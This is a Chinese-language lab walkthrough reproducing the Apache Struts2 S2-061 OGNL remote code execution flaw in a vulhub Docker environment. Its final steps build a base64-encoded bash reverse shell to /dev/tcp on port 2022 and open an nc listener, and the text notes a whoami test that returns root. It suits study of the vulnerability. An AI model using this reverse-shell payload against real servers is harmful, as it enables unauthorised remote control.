漏洞背景
在 Struts 2.5.25 之前的版本中,当对标签属性中的原始用户输入进行评估时,可能会导致远程代码执行。此漏洞是绕过 OGNL 沙箱,在 S2-059 之后增强。
漏洞原理
漏洞利用是因为strust2会对一些标签属性进行二次表达式解析,当标签中使用了%{}
其内容可控,即可构造一些恶意远程命令的payload,并传入到标签属性中。
复现过程
首先启动vulhub环境,找到vulhub中struts2/s2-061并启动
docker-compose up -d
启动成功后查看容器
docker ps -a
进入到环境里,ip:8080
这里采用.action?id=%25{2*2}
进行测试,这里%25为url编码相当于“%”,此处如果显示为2*2则表示没有进行二次解析,如果为id=“4”的话,说明进行了二次解析,此处可以说明漏洞存在。
接下来进行抓包,其中的arglist.add()函数为想要执行的命令,此处为构造数据包,其中arglist.add执行的是whoami,可以查看到回显为root
接下来构造payload来反弹shell
bash -i >& /dev/tcp/ip/2022 0>&1
base64编码之后放到
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk2LjEyOC8yMDIyIDA+JjE==}|{base64,-d} {bash -i}
然后将放到函数里,构成payload
打开nc监听
nc -lvp 2022
成功反弹shell